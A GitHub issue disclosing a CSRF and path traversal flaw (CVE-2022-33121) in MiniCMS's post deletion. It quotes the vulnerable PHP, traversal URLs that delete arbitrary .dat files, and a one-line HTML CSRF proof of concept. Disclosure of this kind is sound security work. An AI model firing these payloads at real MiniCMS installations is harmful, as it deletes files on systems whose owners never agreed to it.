

[New issue](#)[Jump to bottom](#)

There is CSRF vulnerabilities that can lead to deleting local .dat files #45

[Open](#) youki992 opened this issue on Jun 11 · 1 comment

youki992 commented on Jun 11 • edited

Software Link : <https://github.com/bg5sbk/MiniCMS> After the installation is complete, log in as administrator, open the page

In post.php, user can delete any local .dat files without filter

```
C: > Users > ASUS > Downloads > MiniCMS-master > MiniCMS-master > mc-admin > post.php
31
32 function delete_post($id) {
33     global $state, $index_file, $mc_posts;
34
35     $post = $mc_posts[$id];
36
37
38     $post['prev_state'] = $state;
39
40     unset($mc_posts[$id]);
41
42     file_put_contents($index_file, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
43
44     if ($state != 'delete') {
45         $index_file2 = '../mc-files/posts/index/delete.php';
46
47         require $index_file2;
48
49         $mc_posts[$id] = $post;
50
51         file_put_contents($index_file2, "<?php\n\$mc_posts=".var_export($mc_posts, true)."\n?>");
52     } else {
53         unlink('../mc-files/posts/data/.'.$id.'.dat');
54     }
55 }
```

Create 1.dat in the parent directory

/var/www/html/MiniCMS-master/mc-files/posts				
名称	大小	类型	修改时间	
..				
data		文件夹	2022-6-11, 13:14	
index		文件夹	2022-6-11, 12:27	
1.dat	0 Bytes	DAT 文件	2022-6-11, 14:56	

To delete 1.dat, the url is like <http://127.0.0.1:80/MiniCMS-master/mc-admin/post.php?delete=../1&state=delete&date=&tag=>


Also you can delete any .dat file like local google chrome file

```
./opt/google/chrome/icudtl.dat
./opt/metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/domain_name-0.5.20190701/data/public_suffix_list.dat
./opt/metasploit-framework/embedded/framework/data/exploits/php/rfi-locations.dat
./opt/metasploit-framework/embedded/framework/data/exploits/CVE-2007-3314.dat
./usr/local/go/src/regexp/testdata/nullsubexpr.dat
./usr/local/go/src/regexp/testdata/repetition.dat
./usr/local/go/src/regexp/testdata/basic.dat
./usr/lib/jvm/java-8-openjdk-amd64/jre/lib/tzdb.dat
./usr/lib/firmware/myril0ge_rss_eth_z8e.dat
./usr/lib/firmware/myril0ge_eth_big_z8e.dat
./usr/lib/firmware/myril0ge_rss_eth_big_z8e.dat
./usr/lib/firmware/myril0ge_rss_ethp_z8e.dat
./usr/lib/firmware/myril0ge_eth_z8e.dat
./usr/lib/firmware/myril0ge_rss_ethp_big_z8e.dat
./usr/lib/firmware/myril0ge_ethp_big_z8e.dat
./usr/lib/firmware/myril0ge_ethp_z8e.dat
./usr/share/doc/flex/examples/manual/yymorettest.dat
./usr/share/doc/flex/examples/manual/datetest.dat
```

<http://127.0.0.1:80/MiniCMS-master/mc-admin/page.php?delete=../../../../../opt/google/chrome/icudtl&state=delete&date=&tag=>

Here is CSRF POC test.html: Log in and click the link in test.html, modify the parameter of delete and users will delete the .dat file in the specified directory at last.

```
<a href="http://127.0.0.1:80/MiniCMS-master/mc-admin/post.php?delete=../1&state=delete&date=&tag=">click</a>
```

  youki992 changed the title ~~There are two CSRF vulnerabilities that can lead to deleting local .dat files~~
There is CSRF vulnerabilities that can lead to deleting local .dat files on Jun 11

youki992 commented on Jun 24

Author

use [CVE-2022-33121](#)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

